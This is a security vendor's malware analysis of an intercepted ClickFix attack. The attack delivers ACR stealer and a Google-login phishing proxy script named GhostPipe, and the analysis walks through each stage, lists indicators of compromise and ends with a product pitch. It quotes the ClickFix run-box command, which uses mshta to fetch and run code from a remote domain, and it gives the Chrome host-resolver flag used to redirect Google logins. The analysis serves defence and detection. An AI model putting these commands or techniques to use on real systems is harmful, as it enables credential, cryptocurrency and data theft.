BACK TO BLOGS Back to Press Releases

ThreatLocker MDR intercepts ACR stealer delivered by ClickFix

Written by:

ThreatLocker Threat Intelligence

Written by:

ThreatLocker MDR intercepts ClickFix attack

ThreatLocker Managed Detection and Response intercepted an attempted ClickFix attack within a client environment.  

This failed attempt revealed a multi-stage attack that leverages embedded scripts, steganographic payload extraction, and heavy obfuscation to deploy an advanced iteration of ACR stealer and its secondary payload.

This attack combines variations of several known tactics, and highlights how simple social engineering lures can lead to the delivery of a powerful infostealer targeting a wide range of credentials, cryptocurrency, and personal data.

Figure 1: MSHTA Writing to INetCache Folder
Figure 2: Obfuscated ClickFix Command
Figure 3: Chain of Compromise

Threat analysis

The ClickFix attack originated from a fake captcha prompt being served on compromised domain bamscompleteav[.]com, an Audio/Visual vendor based in Lubbock County, Texas.  

This company is listed on the Lubbock County Chamber of Commerce, and their domain has been registered for 16 years, leading us to believe that Bam’s Complete AV is a legitimate company whose website was compromised to deliver the following ClickFix instructions:

pcalua -a “PowerShell” -c “saps cmd ‘/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team[.]com/6272’ -Wi Hi”  

As is usual for ClickFix attacks, the user is prompted to open the Run dialog box and enter the given commands.

Figure 4: ClickFix Captcha

At the time of publishing, this ClickFix captcha was removed and malicious domain fine-work-team[.]com had been taken down. Navigating to bamscompleteav[.]com now directs the user straight to the legitimate site.

Stage 1 - 6272.mp3

The file downloaded through the ClickFix command, 6272, begins with magic bytes FF FB, indicating that the file is an MP3 audio file. Opening this file as an MP3 plays Wonders of the Earth by Roman Dudchyk, a single released on June 12, 2026. ThreatLocker Threat Intelligence leveraged a tool fittingly named ACR Cloud to identify the song. Keeping this file as a valid MP3 seems to have kept it undetected to some degree, as it does not receive any kind of malicious verdict by Google Threat Intelligence’s VirusTotal platform (despite matching several crowdsourced Sigma rules).  

Figure 5: ACR Cloud Recognizer
Figure 6: 6272 VirusTotal/GTI Results

When 6272 is downloaded and executed by mshta, it executes an HTML VBScript block embedded in the file. This VBScript block creates a scheduled task with a one-time trigger using CreateObject(“Schedule.Service”) which decodes and executes a large base64 blob also embedded in the file.  

Figure 7: 6272 Embedded VBScript

This blob, once decoded, uses PowerShell’s -EncodedCommand option to run another base64 blob which checks whether the current execution context has Full Language capabilities. If not, it creates a new runspace inside the current process and attempts to execute itself within that runspace, hoping that the new execution context will be set to ‘FullLanguage’.  

Testing this bypass on updated versions of Windows proved ineffective, since the method invocation required to create a new runspace is not permitted under any execution context other than Full Language.  

Figure 8: Attempted Execution Context Bypass

This script also gathers several system identifiers such as OS Version, hostname, computer name, and architecture by querying .NET classes [Net.Dns] and [Environment]. The [Microsoft.Win32.Registry] class is also used to access specific registry keys:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellState

HKLM\Software\Microsoft\Windows NT\CurrentVersion\BuildLabEx

These values are saved as variables and never referenced or used, indicating that a future version of the attack would possibly include these values in a victim-to-C2 callback/check-in procedure.

Figure 9: Unused System Information

Finally, the script downloads the next stage of the attack from a malicious domain, reading its contents and executing it in memory:

hxxp[:]//gpurq[.]gravityzone[.]army/019f2a71-8c43-7b95-a6d2-3e8471f9c520

The connection is made with specified headers and user agent, and its response is executed through a windowless PowerShell process.

Figure 10: Gravityzone Endpoint

Stage 2 - init-block.jpg

The response from gravityzone[.]army is a 5.4 MB PowerShell script that uses heavy variable and value obfuscation over 79,000 lines of code. Once this script is deobfuscated, it reveals a custom steganography loader that downloads a picture init-block.jpg hosted on i.ibb[.]co.  

Figure 11: Redacted init-block.jpg

Loading the next stage from this image requires several steps to convert image pixels into executable content.  

For each 8x8 pixel block, the mean of each pixel’s RGB intensity is added together, divided by 64, and rounded to the nearest integer to determine the corresponding byte for that 8x8 pixel block.

This stage then uses a 32-byte XOR key and GZip decompression to decrypt the saved buffer, resulting in a final PowerShell script.

Figure 12: Steganographic Extraction

Stage 3 - Shellcode loader

The contents of this PowerShell script function as an in-memory module shellcode launcher with the purpose of preparing the system for the next loader stage. To avoid creating unnecessary noise and typical PowerShell detection opportunities, the script opts for alternative methods to direct execution. The script constructs native API delegates using .NET Reflection.Emit to dynamically create delegate types matching unmanaged function(s) VirtualAlloc, CreateThread, and WaitForSingleObject. Microsoft.Win32.UnsafeNativeMethods is used to obtain the GetModuleHandle and GetProcAddress APIs with the intent of resolving kernel32.dll APIs. The embedded shellcode loader is XORed using a repeating 16-byte XOR key resulting in a 32-bit, position independent x86 shellcode.

Figure 13: Shellcode XOR Key 1
Figure 14: PowerShell Shellcode Loader

The shellcode stages a second loader. This loader walks the PEB structure to resolve addresses to the required APIs GetModuleHandleA, LoadLibraryA, GetProcAddress, VirtualAlloc, VirtualProtect, VirtualFree, and ExitProcess. The encrypted final payload is decrypted with its own 128-byte XOR key resulting in a raw aPLib stream. Manual aPLib unpacking is then performed to reach the final payload, an updated version of ACR stealer, whose entry point is called directly and executed in memory.

Figure 15: Shellcode XOR Key 2
Figure 16: aPLib Unpacking

Stage 4 - ACR Stealer

ACR stealer has seen several iterations in the past, however, this sample showcases significant updates to features and capabilities that previous samples lacked or relied on dead code.

To prevent detection and/or mitigation through standard DNS detection methods, the stealer performs DNS resolution to its C2 domain app-api.lensstory[.]cc through HTTPS, leveraging POST /dns-query requests over port 443 instead of the expected port 53.

Figure 17: DNS over HTTPS
Figure 18: lensstory C2 Domain

Significant attempts were made to prevent static analysis. Whole function control flow flattening causes large functions to use randomized 32-bit state constants, nested comparison loops, and state reassignment, making static analysis time consuming and unclear.  

Strings are encrypted at rest and decrypted when needed, with sensitive strings requiring an extra XOR pass. Opaque predicates are used as logic gates to meaningless, inaccessible code, further preventing control flow analysis.  

This sample also contains several strings and metadata claiming to be the Windows Performance Analyzer, or WPA.exe. These measures were not used in previous samples of ACR Stealer, and they show a clear evolution from a mostly unobfuscated infostealer to a heavily obfuscated and mangled binary with the same goal.  

Figure 19: CF Graph
Figure 20: WPA.exe
Figure 21: Windows Performance Analyzer

As is expected and consistent with previous samples of ACR stealer, several machine and application-based secrets can be stolen including Chromium and Firefox logins and extension data, C2-determined crypto wallets, Steam login data, local user files, desktop screenshots, and host fingerprinting information.

Once the embedded C2 domain is resolved, a victim check-in is performed, and the server responds with configuration for the attack. This configuration determines exactly what information is stolen and whether any secondary loader tasks are executed. Collected artifacts are staged and exfiltrated over HTTPS to the C2 domain with retry logic to ensure successful theft.

Stage 5 - GhostPipe

Detonating the final sample produced a secondary payload received from the C2 server in the form of a PowerShell script with an obfuscated name. Internal comments show that this script refers to itself as GhostPipe. This seemingly unknown script performs a proxy-based AiTM attack with the sole purpose of stealing Google logins. The methods used are comprehensive and inherently support relaying MFA to successfully capture credentials.  

Figure 22: GhostPipe Header

Prior to credential theft, the script establishes persistence by copying itself into Google Chrome update folder:

%LOCALAPPDATA%\Google\Update\host.ps1

The classic \CurrentVersion\Run registry key is also written to, which leverages PowerShell to execute the script on user logon. Chrome shortcuts are modified to run chrome.exe with specific flags redirecting accounts.google.com to the locally hosted phishing page:

--host-resolver-rules=“MAP accounts.google.com 127.0.0.1:<proxy port>”

Figure 23: Chrome Shortcut Flags
Figure 24: GpGetListenerPid
Figure 25: Run Key Persistence

Over time, browsers and websites have implemented strict controls focused on preventing AiTM attacks including certificate verification and MFA requirements. To perform the phish, this script bypasses certificate requirements by forging a fake certificate for Google and presenting it from the locally hosted phishing page. Credentials, possibly MFA and/or OTP, and the requested page are all forwarded to and from the server myloginfrom[.]com/<32 char fingerprint>. There appears to be no immediate indication that the user was phished. Some of the post-compromise artifacts remaining that would reveal the existence of this attack are the shortcut execution flags and certificate files.

Figure 26: GhostPipe Configuration
Figure 27: Malicious Certificate In Registry
Figure 28: CyberChef Cert Reconstruction

ClickFix consistency proves social engineering is still effective

ClickFix tactics are known and well documented, however, that does not make them any less effective in prompting uninformed victims to permit attackers into their environments.  

The continued prevalence of successful ClickFix attacks demonstrates the effectiveness of simple social engineering lures to obtain initial access. Combining effective social engineering with complex loader tactics allows malicious campaigns to leverage even some of the most well-known payloads and stealers to capture private data.  

Defending against such effective methods must go beyond educating users. Comprehensive measures must be included to stop attacks before they begin.

ThreatLocker can render ClickFix attacks ineffective with Zero Trust application control policies. In this instance, Application Allowlisting prevents and limits the execution of mshta, which initiates the attack, and GhostPipe.ps1. Ringfencing™ prevents PowerShell from accessing the internet, and the MDR team detected PowerShell download the image payload from ibb[.]co.

In ClickFix attacks, enforcing default-deny policies that prevent the execution of unknown scripts and stop approved applications from performing unauthorized actions gives MDR and SOC teams the time they need to investigate and respond to suspicious activity before they become a compromise.  

IOCs

Domains:

  • https://www.bamscompleteav[.]com
  • app-api.lensstory[.]cc
  • https://fine-work-team[.]com/6272
  • https://gpurq.gravityzone[.]army/019f2a71-8c43-7b95-a6d2-3e8471f9c520
  • https://i.ibb[.]co/Q7yqNJpr/init-block.jpg
  • myloginfrom[.]com

Host Artifacts:

  • o/41/tokens.txt
  • History.txt
  • Ext\...\uuid.txt
  • g/screen/screen.bmp
  • g/screen/screen.jpg

Registry Actions:

  • HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid
  • HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Domain
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*\DisplayName
  • HKCU/HKLM ...\Microsoft\Windows\taskCurrentVersion\App Paths\<browser process>
  • HKCU\Software\Microsoft\SystemCertificates\CA\Certificates\<SHA-1 Fingerprint>

Steam Theft:

  • HKLM\SOFTWARE\WOW6432Node\Valve\Steam\InstallPath
  • loginusers.vdf
  • %USERPROFILE%\AppData\Local\Steam\local.vdf
  • MachineUserConfigStore\Software\Valve\Steam\Connect\Cache
  • AccountName

SHA-256:

  • 6272.mp3
    A8AB5C112F0E6F7F2762B0F96FD16DA312AF98820D46A79F58689ABDB679D561
  • Sample2.txt
    3223177B69F173CB14A04079B0864F9FB91BE6F1C05D872E48BEDEF912EE47B9
  • Init-block.jpg
    3B159B0827D00F20A3452C29138252C073D772438E44FAE536C9DC9C9E0F7A63
  • Shellcode loader 1
    D03227165E732A5E5EA6AC1876EF9C7F6E8A67646ED766B74E81FE12CC284354
  • Shellcode loader 2
    936C5175046BD2A7DC0C368BAFC7366105623A72B4A3578C7330782A7FEE4BC0
  • WPA.exe (ACR stealer)
    0AE3E511624AE31B1B87EBB1019F90A41EB5E68001DCA34D8F0598EDA8F9FFAE
  • GhostPipe.ps1
    1B85943A8F0DE3814A88E2BD522C4B5E348C38C41D55100A60D3457FE64F3886

No items found.

Start your path to stronger defenses

Start your trial

Try ThreatLocker free for 30 days and experience full Zero Trust protection in your own environment.

Book a demo

Schedule a customized demo and explore how ThreatLocker aligns with your security goals.

Ask an expert

Just starting to explore our platform? Find out what ThreatLocker is, how it works, and how it’s different.